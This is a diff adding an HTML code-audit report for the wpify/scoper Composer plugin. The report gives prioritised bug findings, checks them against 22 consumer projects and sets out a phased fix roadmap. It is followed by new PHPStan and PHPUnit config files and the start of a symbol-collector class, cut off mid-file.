What these fixes would do to your 22 live projects

+
+ +
+

+ Every proposed change was checked read-only against all 22 consumers of + wpify/scoper under ~/projects, including six projects with a + built deps/ tree that could be mined for evidence of what the tool + actually produces rather than what it ought to. +

+

+ Three recommendations changed as a result. Two of them would have caused + outages if implemented as originally written. That is the finding of this pass. +

+
+ +
+
22Consumers checked
+
3Revised
+
8Need migration
+
6Built trees mined
+
0Open unknowns
+
+ +

Revised — would have broken production

+ +
+
+
+ C5 +

Prefix validation must not fire when the config is absent

+ Was breakingRevised +
+ Verified across 9 projects · delife, stavbadesign, wpify-website, sdcentral, heureka, rosettapress, epicwash, edu.constructiocrm, environmentalbadge +
+
What I missed
+
wpify/scoper is installed globally in 21 of 22 projects, so execute() runs on every Composer project on the machine. The silent return at src/Plugin.php:127 is what keeps all of them working.
+
Consequence
+
An unconditional "prefix required" error would fail composer global require wpify/scoper itself (COMPOSER_HOME has no extra) — a line present in every CI pipeline checked — plus every unrelated repo on a developer machine, plus the nested install itself, which would break scoping outright.
+
Revised fix
+
Error only when extra.wpify-scoper is present but prefix is missing, empty or not a legal namespace. Absence of the whole key must stay a silent no-op. autorun: false is not a substitute — you cannot set it for every project on a machine.
+
Still worth doing
+
Yes. Scoped this way it fixes the real DX defect and breaks nothing. All 22 prefixes are present and legal, so no project needs to change.
+
+
+ +
+
+ H14/H15 +

The plugin-update-checker patcher is load-bearing, not dead

+ Was breakingRevised +
+ config/scoper.inc.php:75–77 · reproduced in 3 independent builds +
+
What I missed
+
php-scoper's StringScalarPrefixer also prefixes the string-literal registry keys in PUC's load-v5pX.php. The $checkerClass = $type patcher is the compensation for that, not a bug: registry key and lookup key match exactly in every real build.
+
Consequence
+
Deleting it makes getCompatibleClassVersion() return null and fire trigger_error(E_USER_ERROR) on every admin page load — a white screen for every plugin that depends on wpify/updates. From the evidence on disk that is most of the fleet: gopay, dognet, filters, feeds, rosettapress, conditional-shipping, phone-validation, zbozi-conversions, fakturoid.
+
Revised fix
+
Keep and extend the patcher. Delete only the genuinely dead parts: symbols/plugin-update-checker.php (33 Puc_v4p11_* names under a key that is neutralised downstream anyway), the globals branch, and the stale v4p11 patcher at :48.
+
Bonus defect found
+
The patcher only matches $checkerClass = $type, leaving the VCS branch two lines down unpatched — so GitHub/GitLab/BitBucket-hosted update checking is broken in every scoped build today. No audited project uses it (all pass a wpify.io JSON URL), but the two-line fix turns a half-working integration into a working one.
+
+
+ +
+
+ H1 +

Anchoring must be segment-wise, and it regresses WP_CLI

+ Was breakingRevised +
+ config/scoper.inc.php:87–103 · two independent agents, 11 projects +
+
Constraint 1
+
Implemented as a whole-string exact match, anchoring destroys exclude-namespaces, which needs segment-wise prefix matching. Real references that depend on it: use PHPMailer\PHPMailer\PHPMailer and Automattic's HPOS CustomOrdersTableController, present in all four Bedrock sites. Re-prefixing those fatals on every SMTP send and on order-metabox registration. The lookup must walk the captured symbol's namespace segments and anchor the right-hand side at (?=$|\\|\W).
+
Constraint 2
+
Seven projects override globals and drop wp-cli. In those, WP_CLI reaches the global namespace only via the buggy unanchored \{prefix}\WP match. Anchoring stops that — the bug is currently load-bearing. Blast radius is small (those Action Scheduler CLI commands are already unreachable, since defined('Prefix\WP_CLI') can never be true), but it is a real behaviour change.
+
Migration
+
Add "wp-cli" to globals in the seven affected projects before landing H1 — one line each, and it makes their Action Scheduler CLI integration work for the first time. Consider making globals additive to the defaults rather than a wholesale override.
+
Good news
+
No project currently suffers the H1 corruption: I scanned every built tree for de-prefixed victims and found zero. H1 is a trap waiting for the next dependency you add, not a live outage.
+
+
+
+ +

Confirmed safe — verified, not assumed

+ +
+ + + + + + + + + + + +
ChangeEvidenceVerdict
C4Every environment that runs the tool is on PHP 8.3 or 8.4. The shared CI template pins composer:2.8.2 on all three scoper-installing paths, and docker run confirms that image is PHP 8.3.13. DDEV 8.3/8.4; host 8.4.20. The 8.1.x config.platform pins govern the scoped dependency graph, not the toolchain.Breaks nobody
C2Zero symlinks in any deps tree; no path repositories in any of the 33 composer-deps.json; the sales-booster-kit modules are git submodules, not path repos.Pure no-op
H2All eight built autoload_static.php files checked: every prefixed key is a 32-char md5 in $files — the intended target. Zero corrupted classmap keys anywhere.Latent only
M4No composer-deps.json anywhere contains an extra key, so the recursion configuration does not exist in the fleet.Not reachable
H18Does not reproduce: a global install lives at ~/.composer/vendor/wpify/scoper, which does contain the substring. Confirmed empirically — mawis' custom patcher demonstrably applied to exactly the four classes it names, and not to four control classes.Already working
H16Regenerated symbol lists checked old→new against every scoped namespace in the fleet. No collisions introduced.Safe
C1 --no-pluginsZero packages of type composer-plugin in any composer-deps.lock.Safe
+
+ +

Resolved — the CI template, read directly

+ +
+

+ The shared wpify/gitlab-ci-templates repo was the audit's one open unknown. It is + now available at ~/projects/gitlab-ci-templates and has been read. Every path that + installs the tool resolves to the same image: +

+
+ +
# pipelines/wpify-plugin.yml:40  — rosettapress, feeds, gopay, paczkomaty, dognet, filters
+# jobs/composer.yml:2            — heureka, via .composer_install
+# templates/composer.gitlab-ci.yml:2
+image: composer:2.8.2
+
+$ docker run --rm composer:2.8.2 php -v
+PHP 8.3.13 (cli) (built: Nov 12 2024 05:52:30) (NTS)   ← verified, not inferred
+ +
+

+ C4 is confirmed safe fleet-wide. Every environment that executes + wpify/scoper — CI at PHP 8.3.13, DDEV at 8.3/8.4, host at 8.4.20 — clears + ^8.2 with room to spare. No consumer needs to change anything. +

+

+ But the templates blunt the benefit. All three jobs install the tool with + composer global require wpify/scoper --ignore-platform-reqs + (jobs/composer.yml:17, templates/composer.gitlab-ci.yml:19,24). That + flag bypasses the php constraint outright — so the whole point of C4, a clean + resolver error instead of a confusing transitive one, never fires in CI. If the image is ever + pinned back, the tool installs anyway and fails at runtime instead. Dropping the flag from the + global require line restores the diagnostic; keep it on the project + composer install, where the 8.0/8.1 platform pins genuinely need it. +

+

+ Also dead: the wpify/scoper:^1 branch at + templates/composer.gitlab-ci.yml:19, gated on wordpress-scoper + appearing in composer.json. No project in ~/projects matches. Safe to + delete. +

+

Migration checklist — do these alongside the fixes

+ +
+ + + + + + + + + + + + + +
#ActionProjects
1Put the C3 backup outside the deps parent directory (or sweep *.bak-* at startup). Where folder is inside vendor/, a crash leaves an invisible tree that gets shipped: to wordpress.org via .rsyncinclude, into the epicwash ZIP+FTP mirror, and into heureka's plugin_archive.wpify-woo-feeds, gopay, tmp/wpify-woo, epicwash, heureka, rosettapress
2Add deps.bak / web/app/deps.bak to .gitignore — no existing pattern matches it, so a failed run leaves an untracked ~36 MB tree in git status.All Bedrock sites + mawis, dognet, filters
3Add "wp-cli" to globals before landing H1.The 7 projects that override globals
4M3 must merge the generated scripts, not replace them — one project has a hand-written pre-autoload-dump that strips test/docs dirs from its wordpress.org release.tmp/wpify-woo
5Sequence H15 and M15 together, or make globals validation warn-only for one release — otherwise projects listing plugin-update-checker fail validation on a name that was valid the day before.feeds, gopay, mawis, dognet, filters + 4 SBK modules
6Expect new CI reds on the first pipeline after exit-code propagation lands: failures that were silently exiting 0 will start blocking deploys. That is the point, but schedule for it.Fleet-wide
7Delete the now-redundant manual patch step at .gitlab-ci.yml:45 — after C1, the real post-install-cmd starts running (it is being skipped today, which is why the workaround exists).alfamarka
8Raise config.platform.php to ≥ 8.2 in the scaffold that does composer require --dev wpify/scoper locally under an 8.1 pin.wpify-woo-paczkomaty (composer.json:25)
9Drop --ignore-platform-reqs from the composer global require wpify/scoper lines so C4's clean error message can actually fire; keep it on the project composer install. Delete the dead wpify/scoper:^1 branch while you are in there.gitlab-ci-templates (jobs/composer.yml:17, templates/composer.gitlab-ci.yml:19,24)
+
+ +
+
+
+ +
+
+
+ Triage +

Where the work actually sits

+
+
+

+ The encouraging shape of this audit: severity is concentrated but effort is not. + 45 of 58 findings are small — a line, a guard, a deleted method. Only one + finding is genuinely large, and it is the test suite. +

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SeveritySmallMediumLargeTotalCharacter of the work
Critical4105Guards, ordering, one constraint bump
High153119Boundary checks, dead code, stale data
Medium128020Architecture, tooling, extraction gaps
Low140014Hygiene, dead config, packaging
Total4512158
+
+ +
+

+ One dependency governs the order. Finding C1 (the exit()) is + currently the only thing stopping finding M4 (unbounded recursion). Today, a user who copies + their extra.wpify-scoper block into composer-deps.json — which + the README describes as having "exactly same structure" — is saved from an infinite + install loop purely because the process dies at depth 1. Fixing C1 without landing the + re-entrancy guard in the same change turns a latent bug into a live one. +

+
+
+
+ +
+
+
+ Roadmap +

Four phases, sequenced by dependency

+
+
+

+ The numbering is a real sequence, not decoration — each phase depends on the previous + one having landed. Phase 1 is safe to ship without tests because every item is a guard or a + deletion. Phase 3 is not, which is why the characterisation test is a gate rather than a + later nicety. +

+
+ +
+
+ 01 +

Stop the bleeding

+ ~1 day · all small +
+
    +
  • Add the is_link() guard to remove() — the only code path that can destroy files outside the project.
  • +
  • Reorder to rename-then-delete with a .bak fallback, and check rename()'s return value.
  • +
  • Bump php to ^8.2 — the declared ^8.1 is unsatisfiable against php-scoper and 8.1 is EOL.
  • +
  • Fail fast on a missing or invalid prefix instead of returning silently with exit 0 — but only when extra.wpify-scoper is present (verified constraint).
  • +
  • Replace exit; with a thrown exception; change require_once to require.
  • +
  • Seed exclude-classes / exclude-namespaces to [] so an empty globals stops fataling inside the patcher.
  • +
  • Quote the php-scoper path and check realpath(); delete the dead getCapabilities().
  • +
  • Start using $this->io — it is captured and never read, which is why every failure mode above presents as silence.
  • +
+
+ +
+
+ 02 +

Make the output correct

+ ~1 week · small to medium +
+
    +
  • Anchor the prefix-stripping — a preg_replace_callback with a hash-set lookup, matching php-scoper's case-insensitive semantics. Must anchor segment-wise, and ships only after wp-cli is added to the seven projects that dropped it.
  • +
  • Narrow the autoload_static.php rewrite to the $files array; today it also rewrites unqualified classmap keys.
  • +
  • Delete symbols/plugin-update-checker.php, its globals branch and the stale v4p11 patcher — but keep and extend the $checkerClass patcher, which is load-bearing fleet-wide.
  • +
  • Collect symbols from function bodies (18 real misses), top-level const (97 WP constants), and class_alias() targets (46).
  • +
  • Deduplicate the merged symbol lists (119 duplicates) and drop the redundant Twig and Guzzle patchers.
  • +
+
+ Verify first + Before rewriting the prefix-stripping block, establish why it exists at all. php-scoper 0.18 + handles exclude-classes natively; this may be compensating for something fixed + upstream years ago. If it can simply be deleted, two findings vanish with it. Consumer + verification could not settle this without running a build — it is still the open + question that gates this phase. +
+
+ +
+
+ 03 +

Replace the execution model

+ ~1–2 weeks · medium +
+
    +
  • Run Composer as a subprocess via COMPOSER_BINARY, the way Composer's own EventDispatcher does — or at minimum setAutoExit(false). Propagate the exit code.
  • +
  • Add the re-entrancy guard in the same commit (see the triage note).
  • +
  • Expose a real BaseCommand through Capable + CommandProvider; retire the four pseudo-events and the hand-rolled bin/wpify-scoper bootstrap.
  • +
  • Stop writing into the user's composer-deps.json. Drive php-scoper, dump-autoload and the fixups directly from PHP instead of injecting shell commands with absolute host paths.
  • +
  • Delete the %%placeholder%% template — it injects raw paths into single-quoted PHP literals and breaks on Windows.
  • +
  • Decompose Plugin into Configuration, ScoperConfigFactory and ComposerRunner. Stop there.
  • +
+
+ Gate + Write one end-to-end characterisation test against the current code before starting + this phase, even if it needs chdir() and process isolation. It is ugly and it is + the only safety net for a refactor this wide. +
+
+ +
+
+ 04 +

Build the foundation

+ ~1 week · ongoing +
+
    +
  • PHPUnit in three tiers: pure-logic units, one real scoping of a tiny fixture, golden files for symbol extraction.
  • +
  • PHPStan at level 5, ratcheting to 8 after the refactor — it predicts roughly six genuine bugs on the current code before you write a single test.
  • +
  • CI matrix over PHP 8.2–8.5, plus a scheduled job that regenerates symbols when WordPress or WooCommerce releases.
  • +
  • Record provenance in the generated symbol files — today nothing says which WordPress version they came from.
  • +
  • Restructure the docs around failure modes; add a CHANGELOG, .gitattributes and .editorconfig.
  • +
+
+
+
+ +
+
+
+ Critical · 5 +

Data loss, silent failure, and an install that cannot resolve

+
+ +
+
+
+ C1 +

Nested Composer terminates the host process

+ CriticalMedium +
+ src/Plugin.php:290–305 · verified against vendor/symfony/console/Application.php:266 +
+
Impact
+
The Composer security audit never runs. User post-install-cmd scripts and later plugins are skipped. The outer exit code is replaced by the inner one, so a failing install can report success. CWD leaks into the temp directory on exception.
+
Fix
+
Run Composer as a subprocess via COMPOSER_BINARY, matching EventDispatcher.php:253. Failing that, setAutoExit(false) + setCatchExceptions(false) and propagate the code.
+
Benefit
+
Restores audit, script ordering and exit codes; removes shared-state contamination between outer and inner Composer.
+
Downside
+
Must land with the re-entrancy guard (M4) — this bug is currently the only thing preventing infinite recursion. A subprocess is also marginally slower and needs the PHP binary located.
+
+
+ +
+
+ C2 +

remove() follows symlinks out of the project

+ CriticalSmall +
+ scripts/postinstall.php:2–22 +
+
Impact
+
Destroys uncommitted work in sibling directories when a path repository is used in composer-deps.json — Composer symlinks those by default. Also wipes the target when deps/ is itself a symlink, silently changing the project layout.
+
Fix
+
Guard with is_link() before recursing; unlink the link itself, with an rmdir() fallback for Windows junctions. Add readdir/unlink/rmdir failure handling.
+
Benefit
+
Eliminates the only path in the codebase that can delete files outside its own temp and deps directories.
+
Downside
+
None. A dangling symlink left behind in deps/ is harmless.
+
+
+ +
+
+ C3 +

Dependencies deleted before the replacement is in place

+ CriticalSmall +
+ scripts/postinstall.php:62–63 +
+
Impact
+
remove($deps) runs first and rename()'s result is unchecked. Cross-device rename (configurable temp, Docker bind mounts), a Windows file lock, or an interrupt between the two statements leaves the project with no deps/ — and the build still exits 0.
+
Fix
+
Verify the new tree exists, move the old one aside to a .bak, rename into place, restore on failure, then delete the backup. Fall back to recursive copy on EXDEV.
+
Benefit
+
No window in which the project has no dependencies; failures become loud and recoverable.
+
Downside
+
Briefly needs disk for both trees — already true of the temp tree.
+
+
+ +
+
+ C4 +

Declared PHP requirement is unsatisfiable

+ CriticalSmall +
+ composer.json:31 +
+
Impact
+
"php": "^8.1" but wpify/php-scoper requires ^8.2. A consumer on 8.1 gets a resolver error naming a transitive package rather than this one. PHP 8.1 has been EOL since December 2025.
+
Fix
+
"php": "^8.2" now; plan >=8.3 for the next major once 8.2 drops out on 2026-12-31. Supported window today is 8.2–8.5.
+
Benefit
+
Honest resolution with a correct error message, and it unlocks readonly properties, enums and never throughout the refactor.
+
Downside
+
Consumers on 8.1 can no longer require — but they cannot install today either, so nothing real is lost.
+
+
+ +
+
+ C5 +

A missing prefix does nothing, silently

+ CriticalSmall +
+ src/Plugin.php:127 +
+
Impact
+
If extra.wpify-scoper.prefix is absent, misspelled, empty or the string "0", execute() returns having done nothing. composer install exits 0. No deps/, no message, no clue. This is the worst DX defect in the project.
+
Fix
+
Validate in a Configuration::fromExtra() factory: require the key, check it against a PHP-namespace pattern, reject unknown keys with a suggestion, and verify each globals entry maps to a real symbols/*.php.
+
Benefit
+
Turns the single most common misconfiguration from silent nothing into a one-line diagnostic. Fully unit-testable with no filesystem.
+
Downside
+
Verified constraint — see C5 under consumer verification. The check must fire only when extra.wpify-scoper is present. Because the plugin is installed globally, an unconditional error would break every unrelated repo on the machine, composer global require wpify/scoper itself, and the nested install.
+
+
+
+
+
+ +
+
+
+ High · 19 +

Wrong output, dead features, and unguarded boundaries

+
+ +
+
+
+ H1 +

Prefix-stripping has no right-hand boundary

+ HighSmall +
+ config/scoper.inc.php:87–103 +
+
Impact
+
Any scoped class or namespace whose name starts with one of the 1,219 excluded class names or 477 namespace names is silently de-prefixed, producing a Class not found fatal in the user's plugin. Scales with how many dependencies are scoped.
+
Fix
+
One preg_replace_callback over (?:use\s+|\\)?{$prefix}\\([A-Za-z_][\w\\]*) with an array_flip hash-set lookup, case-insensitive to match php-scoper's own SymbolRegistry.
+
Benefit
+
Removes an entire class of silent runtime fatals, and is faster than 3,392 str_replace needles.
+
Downside
+
Rewrites the hottest part of the patcher; needs tests. Two verified constraints — see H1 under consumer verification: anchoring must be segment-wise or exclude-namespaces breaks, and seven projects currently depend on the bug to keep WP_CLI global.
+
+
+ +
+
+ H2 +

autoload_static.php rewrite corrupts classmap keys

+ HighMedium +
+ scripts/postinstall.php:39–46 +
+
Impact
+
The regex is applied to the whole file to prefix the $files md5 keys, but it also matches any unqualified classmap key without underscores — 'Requests' => … becomes 'myprefixRequests' => …, breaking classmap autoloading for that class.
+
Fix
+
Scope the replacement to the $files array block only, or parse and rewrite it structurally rather than by regex over the whole file.
+
Benefit
+
Keeps the intended de-duplication of function-file includes without touching the classmap.
+
Downside
+
Needs a golden-file test against a real generated autoload_static.php.
+
+
+ +
+
+ H3 +

getCapabilities() is dead code, and a landmine

+ HighSmall +
+ src/Plugin.php:104 · PluginManager.php:613 +
+
Impact
+
Plugin does not implement Composer\Plugin\Capable, so the method is never called. Worse: adding Capable naively would throw a RuntimeException on every composer list and composer help for every user, because the declared implementation self::class has no getCommands().
+
Fix
+
Delete it, or implement it properly with a separate CommandProvider class as part of H4.
+
Benefit
+
Removes dead code and a latent crash that a well-meaning contributor would walk straight into.
+
Downside
+
None for the delete-only variant.
+
+
+ +
+
+ H4 +

Pseudo-events instead of a real Composer command

+ HighMedium +
+ src/Plugin.php:18–21 · bin/wpify-scoper:30–41 +
+
Impact
+
Four fake event names are dispatched by hand-fabricating an Event from a bootstrapped Factory. This bypasses Composer's own IO, verbosity and working-directory handling, and requires composer/composer in require rather than require-dev.
+
Fix
+
A ScoperCommand extends BaseCommand exposed through Capable + CommandProvider. Gives composer wpify-scoper install --no-dev with real argument parsing for free.
+
Benefit
+
Idiomatic UX, correct IO inheritance, drops a heavyweight runtime dependency, and makes bin/wpify-scoper and H5 disappear entirely.
+
Downside
+
The bin entry point is public API — keep it as a thin shim for a deprecation cycle.
+
+
+ +
+
+ H5 +

Hardcoded vendor root in the binary

+ HighSmall +
+ bin/wpify-scoper:9–10 +
+
Impact
+
__DIR__ . '/../../..' is a resolved real path, so it fatals for symlinked path repositories and when running from a clone of this repo — which makes the plugin impossible to develop against. Global installs load the global autoloader while reading the project's composer.json.
+
Fix
+
Use $GLOBALS['_composer_autoload_path'] with a candidate-path fallback chain, and declare composer-runtime-api: ^2.2.
+
Benefit
+
Works in every installation topology, including local development.
+
Downside
+
None — the fallback chain is strictly additive. Moot if H4 lands.
+
+
+ +
+
+ H6 +

The plugin never speaks

+ HighSmall +
+ src/Plugin.php:24, 53, 291 +
+
Impact
+
$this->io is captured and never read; output goes to a fresh ConsoleOutput that ignores --quiet, -v and --no-ansi. Nothing reports which config was loaded, whether scoper.custom.php was found, or that scoping was skipped. This is the root cause of why every other failure here reads as "nothing happened".
+
Fix
+
Use the injected IOInterface throughout; pass the outer output stream into any nested run.
+
Benefit
+
Verbosity flags start working, CI logs stop carrying stray ANSI escapes, and users can self-diagnose.
+
Downside
+
None. Keep normal-verbosity output to one or two lines.
+
+
+ +
+
+ H7 +

--no-dev is unreachable — dev dependencies always ship

+ HighMedium +
+ src/Plugin.php:19, 21, 193 +
+
Impact
+
Nothing emits the two NO_DEV event names — bin/wpify-scoper maps only install and update. Every scoped build therefore includes dev dependencies, which are scoped and shipped into production deps/.
+
Fix
+
Parse --no-dev in the CLI entry point, or get it free from BaseCommand under H4. Also honour the outer run's dev mode from the event.
+
Benefit
+
Smaller, safer production artifacts.
+
Downside
+
Users who unknowingly depend on a dev package being present in deps/ will see it disappear — worth a changelog note.
+
+
+ +
+
+ H8–H13 +

Six unguarded boundaries

+ HighSmall +
+ src/Plugin.php:71, 135, 170 · config/scoper.inc.php:79 · scripts/postinstall.php:40, 50 +
+
Impact
+
+ H8 empty globalsTypeError inside a php-scoper patcher. + H9 malformed composer-deps.json → fatal "assign property on null". + H10 unquoted php-scoper path → any project path containing a space breaks. + H11 %%placeholder%% substitution into single-quoted PHP literals → parse errors on Windows paths, and an injection surface. + H12 unchecked file_get_contentspreg_replace(false) silently truncates the autoload files to empty. + H13 composerlock derivation can alias composerjson, destroying the user's own config file. +
+
Fix
+
Check every return value at these boundaries and throw with context. For H11, replace the chained str_replace with a single strtr() map plus an assertion that no %% survives — or delete the template entirely under phase 3.
+
Benefit
+
Converts six silent-corruption paths into actionable errors. PHPStan level 5 finds most of them for free.
+
Downside
+
None; purely additive.
+
+
+ +
+
+ H14–H15 +

The plugin-update-checker support is stale and actively harmful

+ HighSmall +
+ symbols/plugin-update-checker.php · config/scoper.inc.php:48, 75 +
+
Impact
+
The symbol list names Puc_v4p11_* classes; the installed package ships Puc/v5 and Puc/v5p7 with namespaced classes. Its patcher targets Puc/v4p11/UpdateChecker.php, a path that no longer exists, and one of the two patchers is actively fatal against v5. The file also uses expose-classes, which is then neutralised downstream by expose-global-classes: false and by the scoper-autoload.php rewrite. Its extraction line has been commented out since before the last release.
+
Fix
+
Delete the symbol file, the globals branch and the stale v4p11 patcher at :48. Keep the $checkerClass patcher at :75-77 and extend it to the VCS branch.
+
Benefit
+
Removes genuinely dead config, and the VCS extension fixes GitHub/GitLab-hosted update checking, which is broken in every scoped build today.
+
Downside
+
Corrected — see H14/H15 under consumer verification. The :75-77 patcher is not stale: it compensates for php-scoper prefixing PUC's string-literal registry keys. Deleting it white-screens every plugin using wpify/updates.
+
+
+ +
+
+ H16 +

Symbol extraction never descends into function bodies

+ HighSmall +
+ scripts/extract-symbols.php:51–78 +
+
Impact
+
resolve() dispatches on six node types and recurses only into If_. Measured against a full-AST ground truth: 18 real WordPress and WooCommerce symbols are missed today, and any of them appearing in a user's scoped dependency produces a collision.
+
Fix
+
Replace the hand-rolled dispatch with a NodeVisitor that walks the whole AST — the same approach the ConstantCollector already uses. That also resolves the else/elseif, Try_, Declare_ and namespace { } gaps in one change.
+
Benefit
+
One visitor replaces six special cases and closes five separate findings.
+
Downside
+
Regenerates all symbol files — needs a golden-file test and a reviewable diff.
+
+
+ +
+
+ H17–H18 +

exit; in library code, and path detection by substring

+ HighSmall +
+ src/Plugin.php:212–216, 269 +
+
Impact
+
A bare exit; terminates the host Composer with status 0 and no output — indistinguishable from success. It is reachable because require_once returns true on a second include in the same process. Separately, createPath() detects the vendor directory by testing whether the path contains the literal substring vendor/wpify/scoper, so a custom vendor-dir or a symlinked path repo makes the user's scoper.custom.php be silently ignored.
+
Fix
+
require plus a thrown RuntimeException. For the path: dirname(Factory::getComposerFile()) and $composer->getConfig()->get('vendor-dir').
+
Benefit
+
Removes the last silent-exit path and makes customisation work in every topology.
+
Downside
+
None.
+
+
+ +
+
+ H19 +

No tests, no CI, 65 releases

+ HighLarge +
+ repository-wide +
+
Impact
+
For a tool whose failure mode is "generates subtly broken PHP that fatals inside somebody else's WordPress site", every release has been cut on manual verification. The last two commits both fixed symbol-extraction bugs that a twenty-line golden-file test would have caught.
+
Fix
+
PHPUnit 11 in three tiers — pure-logic units, one real scoping of a checked-in fixture, and golden files for extraction. Inject $cwd, inject a ComposerRunner, replace exit with throw; roughly 40 lines of diff unlocks about 80% of the code.
+
Benefit
+
The prerequisite for every phase-3 change. Realistically 4–5 focused days to meaningful coverage.
+
Downside
+
The only large item in the audit, and it produces no user-visible improvement on its own.
+
+
+
+
+
+ +
+
+
+ The rewrite +

One architectural change closes a third of the findings

+
+
+

+ Most individual findings can be patched where they sit. But a cluster of the worst ones — + C1, H4, H5, H10, H11, and roughly a dozen medium items — all descend from a single design + decision: the pipeline is executed by generating a composer.json whose + scripts array contains shell commands, then running Composer in-process to + execute it. +

+

+ That indirection is why absolute host paths end up written into a user-owned tracked file, + why a PHP script has to be assembled by string substitution, why quoting and Windows paths + break, and why the plugin has no way to observe or report on its own steps. +

+
+ +
+
+

Today — indirect

+
    +
  1. Write scoper.inc.php + scoper.config.php into a random temp dir
  2. +
  3. String-substitute %%placeholders%% into a copy of postinstall.php
  4. +
  5. Write shell commands with absolute paths into the user's composer-deps.json
  6. +
  7. Run Composer in-process against that file
  8. +
  9. Composer runs the three scripts as subprocesses
  10. +
  11. Process exits — the outer install never resumes
  12. +
+
+ +
+ +
+

+ Scope honestly. This is a phase-3 change of roughly one to two weeks, and it + is the one place in this audit where I would not proceed without the characterisation test + first. The upside is real — it deletes scripts/postinstall.php's template + mechanism, removes composer/composer from the runtime requirements, and makes the + whole pipeline observable through IOInterface. But phases 1 and 2 deliver most of + the user-visible benefit at a fraction of the risk, and they should ship first regardless of + whether you commit to this. +

+
+
+
+ +
+
+
+ Backlog · 34 +

Medium and low findings

+
+
+

+ Full detail for each — with file references, reproductions and measured numbers — is in the + four source reports linked at the foot of this page. +

+
+ +

Medium · 20

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
IDFindingEffort
M1php-scoper phar located by hardcoded relative path and invoked without a PHP binaryS
M2getcwd() used as project root instead of Composer's Config — breaks under --working-dirM
M3Generated composer-deps.json embeds absolute host paths; churns every run; clobbers user scriptsM
M4Re-entrancy avoided only by accident — unbounded recursion once C1 is fixedS
M5composer/composer in require; symfony/console undeclared; composer-runtime-api missingS
M6Nested install's exit code discarded — failures reported as successS
M7Prefix-sanitising regex /[[a-zA-Z0-9]+]/ does not do what it appears toS
M8Temp dir: weak randomness, pollutes the project root, never cleaned up on failureM
M9Patcher rebuilds and re-sorts a 3,392-needle table for every file — 16.2 ms eachS
M10path() collapses only one doubled separator; mangles absolute and Windows pathsS
M11Top-level const never collected — 97 WordPress constants missingS
M12If_ ignores else/elseif; Try_, Switch_, Foreach_, Declare_ never walkedS
M13Twig patchers target twig_* functions removed in Twig 3.xS
M14No provenance in symbols/*.php; sources unpinned at *; filesystem-ordered outputM
M15Only five hardcoded globals; no way to supply your own symbol listM
M16globals: ["plugin-update-checker"] crashes with a TypeErrorS
M17306-line god class with seven distinct responsibilitiesM
M18PHP 5-era dialect throughout — no strict_types, no types, array() syntaxM
M19No PHPStan, no CS config, no .editorconfig — level 5 predicts six real bugsM
M20No CHANGELOG; README requirements stale at 3.2 and self-contradictory on PHP versionS
+
+ +

Low · 14

+
+ + + + + + + + + + + + + + + + + + +
IDFindingEffort
L1array_merge_recursive never de-duplicates — 119 duplicate symbols, 1.6%S
L2expose-classes key contradicted downstream by expose-global-classes: falseS
L3autorun strict === false rejects "false" and 0S
L4Unchecked mkdir, copy, file_put_contents, json_encode throughoutS
L5bin/wpify-scoper uses NullIO, returns no exit code, ignores extra argvS
L6class_alias() targets not collected — 46 across WordPress, Woo and wp-cliS
L7Dynamic define() not collected — 6 occurrencesS
L8A braced namespace { } block would fatal the extractorS
L9wp-cli test-suite symbols leak into the exclusion list — 28 entriesS
L10Parser pinned to PhpVersion::fromString("8.1.0") — currently harmless, will rotS
L11Guzzle CurlFactory patcher is a dead no-op against current versionsS
L12config/scoper.config.php ships three always-overwritten defaultsS
L13No .gitattributes export-ignore; symbols/ not marked generatedS
L14extra.textdomain in composer.json is leftover debris from another packageS
+
+ +

Measured, not estimated

+
+ + + + + + + + + + + +
MeasurementValueNote
Patcher cost, current16.2 ms/file3,392 needles, rebuilt per file
Patcher cost, hoisted strtr1.96 ms/file8× faster, and single-pass so it cannot re-match its own output
Patcher cost, with prefix guard0.011 ms/filewhen the prefix is absent from the file
Projected saving, 2,000-file tree~32 s → ~4 sper scoping run
Symbol load + merge1.2 ms0.6 MB — not a bottleneck; do not optimise
Total symbols shipped7,527119 duplicated across lists
Symbols missed by extraction18 + 97 + 46function bodies, top-level const, class_alias
+
+
+
+ +
+
+

Source reports — full detail, reproductions and file references:

+ +

Consumer verification — read-only impact analysis across all 22 projects:

+
    +
  • A — alfamarka, marieolivie, dluhopisy, teatechnik
  • +
  • B — delife, stavbadesign, wpify-website, sdcentral
  • +
  • C — mawis, wpify-woo-dognet, wpify-woo-filters
  • +
  • D — wpify-woo-feeds, gopay, paczkomaty, tmp/wpify-woo
  • +
  • E — heureka-scope-review, rosettapress, epicwash, edu.constructiocrm, environmentalbadge
  • +
  • F — sales-booster-kit (+6 modules), feed.szn
  • +
+

+ Audited 27 July 2026 against Composer 2.10.2, php-scoper 0.18.19, WordPress 7.0.2, + WooCommerce 10.9.4. Supported PHP window: 8.2–8.5. +

+
+
+ + + diff --git a/phpstan.neon b/phpstan.neon new file mode 100644 index 0000000..306ca41 --- /dev/null +++ b/phpstan.neon @@ -0,0 +1,27 @@ +includes: + - vendor/phpstan/phpstan-strict-rules/rules.neon + +parameters: + level: 9 + phpVersion: + min: 80200 + max: 80599 + paths: + - src + - scripts + - config + excludePaths: + # 300 KB of generated symbol tables - nothing to analyse, and analysing them is slow. + - symbols/* + treatPhpDocTypesAsCertain: false + ignoreErrors: + # config/scoper.inc.php runs inside the php-scoper phar, which ships its own prefixed + # copies of the Symfony Finder. The class genuinely does not exist in this project. + - + message: '#Isolated\\Symfony\\Component\\Finder\\Finder#' + path: config/scoper.inc.php + # customize_php_scoper_config() is the user-supplied hook from scoper.custom.php; the + # fallback definition right above the call is what makes it always defined. + - + message: '#Function customize_php_scoper_config#' + path: config/scoper.inc.php diff --git a/phpunit.xml.dist b/phpunit.xml.dist new file mode 100644 index 0000000..6e82e54 --- /dev/null +++ b/phpunit.xml.dist @@ -0,0 +1,42 @@ + + + + + + + + tests/Unit + + + + + tests/Integration + + + + + + src + scripts + + + symbols + + + diff --git a/scripts/SymbolCollector.php b/scripts/SymbolCollector.php new file mode 100644 index 0000000..04db6e5 --- /dev/null +++ b/scripts/SymbolCollector.php @@ -0,0 +1,116 @@ +> + */ + public array $symbols; + + private ?string $namespace = null; + + public function __construct() { + $this->symbols = array_fill_keys( SymbolExtractor::CATEGORIES, array() ); + } + + public function enterNode( Node $node ): ?int { + if ( $node instanceof Node\Stmt\Namespace_ ) { + // A braced `namespace { }` block has no name - that is the global namespace. + $this->namespace = $node->name?->toString(); + + if ( null !== $this->namespace ) { + $this->symbols['exclude-namespaces'][] = $this->namespace; + } + + return null; + } + + // Constants and class aliases are global 